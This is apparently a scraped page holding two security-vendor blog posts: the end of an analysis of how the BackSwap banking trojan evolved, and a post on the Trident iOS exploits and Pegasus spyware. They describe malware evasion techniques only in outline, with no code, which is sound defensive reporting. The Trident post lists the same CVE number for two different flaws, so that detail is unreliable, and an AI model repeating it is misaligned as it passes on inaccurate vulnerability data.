A few samples from August were found using external websites to store their javascript payload. While the web-injects were still stored in the .rsrc section of the hijacked program, they were simply a wrapper and imported the malicious javascript code from other servers. This was the first and only time we saw BackSwap doing this. Storing malicious code on 3rd party servers is less stable since security vendors and the website itself can take down the malicious pages.

\n

\"\"

\n

 

\n

BackSwap introduced few more BMP images during August. We spotted images of Cartman, an old lady, Link from The Legend of Zelda video game series and an image of the Russian president, Vladimir Putin. At the end of August, the criminals added a rather childish text to a version of Putin’s image where they try to offend the AV industry.

\n

\"\"

\n


\n
Figure 6: BackSwap’s PIC embedded in an image of Putin.

\n

 

\n

\"\"

\n

 

\n

The variants from September through November haven’t shown any major changes. We observed some modifications in the PIC payload, especially more encryption layers and tons of junk-code that is meant to make the analysis more complicated as well as making the malware harder to detect. During these months BackSwap introduced more separators to its Javascript web-injects such as [mumuo:] and [pghtyq] in September, [tempo:] and [code:] in October, and the most recent [joke:] in November. It also added more versions for its BMP images. The main image used in October was of Stalin taken from a famous propaganda poster, and most of November’s samples  had an image of a man waving the LGBTQ pride flag.

\n

\"\"

\n

 

\n

The most recent sample that we spotted, from the end of November, introduced a new image taken from a 1970’s Russian TV-series called “Seventeen Moments of Spring” (Семнадцать мгновений весны) based on a novel with the same name. The delimiter in the web-injects was also changed and is now “[asap:]”. This isn’t the only change, as it seems that the way the malware transfers information from the Javascript web-inject code to the executed shellcode in the PE changed as well. As described earlier, BackSwap used to send the victim’s credentials and other messages to the shellcode via the clipboard, which is now replaced by sending the same data through the browser’s URL.

\n

\"\"

\n


\n
Figure 7: Backswap newest BMP image

\n

 

\n

\"\"

\n

BackSwap’s latest sample was also sending another childish message to the AV industry, asking the industry to stay out of its way. Well, this is not going to happen.
\n

\n

 

\n

\"\"

\n

Figure 8: image of  the latest message to the AV industry

\n

Conclusion

\n

While banking trojans seem to have become a far less prominent method of stealing money in the cyber criminal world, BackSwap is the evidence that this monetization model is not dead yet. In fact, when it comes to BackSwap it seems that the opposite is true As described in this publication we can definitely see ongoing efforts by the malware’s authors to improve it and make it more evasive from security products.

\n

Moreover, users should be cautious when downloading software from unauthorized sources, as this malware demonstrates the ability to bypass security measures by pretending to be a legitimate application. In light of such a threat, it is highly recommended to obtain software only from the sites of its original distributors.

\n

We at Check Point Research are continuing to track this threat so as to provide the best mitigation against it, even in light of its dynamic and constantly changing nature.

\n

 

\n

Appendix

\n\n","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2018/the-evolution-of-backswap/","tags":[],"score":0.25370341539382935,"topStoryDate":null},{"id":"1201","type":"Blog_Publication","name":"Beware of the Trident Exploits","author":"Check Point Research Team","date":1472479300000,"description":"Researchers from the University of Tornonto's Citizen Lab last week revealed a sophisticated zero-day attack on the iPhone of Ahmed Mansoor, a human rights activist in the United Arab Emirates. Citizen Lab's discovery exposed three zero-day exploits used by Pegasus, a lawful interception cyberespionage tool developed by the Israeli-based NSO Group and sold to government agencies. The attack was initiated by a spear phishing SMS sent to Mansoor's iPhone 6. Had Mansoor clicked the infected link, the exploits would have been activated, jailbreaking his device and installing the Pegasus spyware.","content":"

Researchers from the University of Tornonto’s Citizen Lab last week revealed a sophisticated zero-day attack on the iPhone of Ahmed Mansoor, a human rights activist in the United Arab Emirates. Citizen Lab’s discovery exposed three zero-day exploits used by “Pegasus,” a lawful interception cyberespionage tool developed by the Israeli-based NSO Group and sold to government agencies. The attack was initiated by a spear phishing SMS sent to Mansoor’s iPhone 6. Had Mansoor clicked the infected link, the exploits would have been activated, jailbreaking his device and installing the Pegasus spyware.

\n

Apple introduced a software patch on August 25 to mitigate the three vulnerabilities, which Lookout, working with Citizen Lab, named Trident. While these are not the first exploits targeting iOS devices, the combination of three zero-day remote exploits is unique. Each vulnerability has a separate operation and target:

\n
    \n
  1. CVE-2016-4657 – Exploits the Safari WebKit to allow the attacker to compromise the device once the victim clicks on the infected link.
  2. \n
  3. CVE-2016-4656 – Leaks information to the attacker, which allows him to calculate the kernel’s location in memory.
  4. \n
  5. CVE-2016-4657 – A kernel memory corruption vulnerability which allows the attacker to silently jailbreak the device and install the surveillance payload.
  6. \n
\n

Jailbreaking allows attackers to achieve complete control over the device and conduct extensive surveillance, such as making audio recordings, taking screenshots, and monitoring phone calls and SMS messages. The combination of the three vulnerabilities allows the attackers to target remote victims without relying on physical contact or an app installation by the user.

\n

Like previous state-sponsored attacks, such as the Xsser mRAT, which targeted Hong Kong activists using iOS devices, and was discovered by the Check Point research team, Pegasus demonstrates the most advanced tactics in the mobile malware world.

\n

Who is at risk?

\n

The Pegasus malware and the Trident exploits are classified as “Intrusion Software” by the Wassenaar Arrangement and a strict export control is imposed by the US Bureau of Industry and Security and the Israeli Defense Export Control Agency.  Theoretically, this means that the Pegasus spyware was sold to authorized law enforcement agencies and intelligence organizations to fight criminals and terrorists. In practice, Pegasus was most likely misused, leaked, or sold to other entities beyond the law enforcement community. The recent disclosure of these new vulnerabilities may lead cybercriminals to use the same capabilities for corporate cyber-espionage.

\n

Can Pegasus and Trident impact other platforms other than iOS?

\n

While the recent discovery unveiled the Pegasus iOS variant, Check Point’s threat intelligence indicates that similar capabilities are also possible on Android and BlackBerry devices.

\n

How can an iPhone get infected by Pegasus?

\n\n

Check Point Mobile Threat Prevention prevents, detects and remediates Pegasus attacks

\n

Check Point Mobile Threat Prevention is designed to manage the complete life-cycle of the Pegasus infection, and similar infection as well.

\n

Prevention

\n

The best way to prevent attackers from using the Trident exploits on devices connected to your enterprise network is to make sure employees update their iOS operating system to 9.3.5. The MTP solution assists you with accomplishing 100% patching.

\n

Dashboard reporting

\n

System administrators can view all unpatched devices under the medium risk score. It’s possible to filter the devices with the vulnerable OS version and export the report containing the details of exposed employees. We recommend continuously monitoring the patching progress within your organization and emailing employees with the outdated OS until every device in your organization is updated.

\n

\"Trident

\n

Home screen notification

\n

A notification reminder is pushed to users that have yet to update their iOS version

\n

In-app alert

\n

The Check Point Mobile Threat Prevention app, beginning with version 2.47.2347, which is currently awaiting App Store approval, notifies the user that their device is out of compliance and that their smartphone should be updated to the latest iOS version.

\n

\"Trident

\n

Detection

\n

Installation of the Pegasus spyware on an iOS device will be detected by the Check Point Mobile Threat Prevention app and will be reported to the user and the device administrator.

\n

\"Trident

\n

Remediation

\n

Once a mobile device is compromised with the Pegasus malware, the only option for full remediation is a complete re-flush of the operating system.

\n

The post Beware of the Trident Exploits appeared first on Check Point Blog.

\n","status":"PUBLISHED","fileName":"331224776","link":"http://blog.checkpoint.com/2016/08/29/beware-of-the-trident-exploits/","tags":["iPhone","Apple","iOS","mRAT","Mobile Threat Prevention (MTP)"],"score":0.2219904661178589,"topStoryDate":1472507350000}],"mapData":null,"topMalwareFamilies":null};